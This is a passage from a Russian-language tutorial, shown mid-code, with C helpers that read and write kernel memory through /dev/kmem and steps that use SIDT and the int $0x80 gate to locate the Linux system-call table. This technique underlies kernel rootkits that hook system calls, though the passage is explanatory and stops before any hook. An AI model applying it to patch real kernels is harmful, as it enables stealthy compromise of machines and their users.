if (read(fd, buf, size) != size) return 0;

        return size;

}

Функция записи данных в kmem:

static inline int wkm(int fd, uint offset, void *buf, uint size)

{

        if (lseek(fd, offset, 0) != offset) return 0;

        if (write(fd, buf, size) != size) return 0;

        return size;

}

Функция чтения 4-х байтового значения (int, unsigned long) из kmem:

static inline int rkml(int fd, uint offset, ulong *buf)

{

        return rkm(fd, offset, buf, sizeof(ulong));

}

Функция записи 4-х байтового значения в kmem:

static inline int wkml(int fd, uint offset, ulong buf)

{

        return wkm(fd, offset, &buf, sizeof(ulong));

}

Функция определения адреса таблицы sys_call_table:

ulong   get_sct()

{

 int       kmem;

  ulong    sys_call_off; – адрес обработчика прерывания int $0x80 (функция system_call)

  char     *p;

  char     sc_asm[128];

Командой SIDT получаем содержимое регистра таблицы дескрипторов прерываний. Результат команды поместим в структуру idtr:

asm("sidt %0" : "=m" (idtr));

В поле base структуры idtr находится адрес таблицы IDT. Зная этот адрес и размер шлюза в этой таблице (8 байт), получим содержимое шлюза прерывания int $0x80 и извлечем из него адрес обработчика:

 if (!rkm(kmem, idtr.base+(8*0x80), &idt, sizeof(idt)))

                return 0;

Содержимое шлюза поместим в структуру idt. Два поля этой структуры, off1 и off2, содержат адрес обработчика (функции system_call). В поле off1 находятся младшие 16 бит, а в поле off2 – старшие 16 бит адреса обработчика. Для получения адреса обработчика сложим содержимое этих полей следующим образом:

 sys_call_off = (idt.off2 << 16) | idt.off1;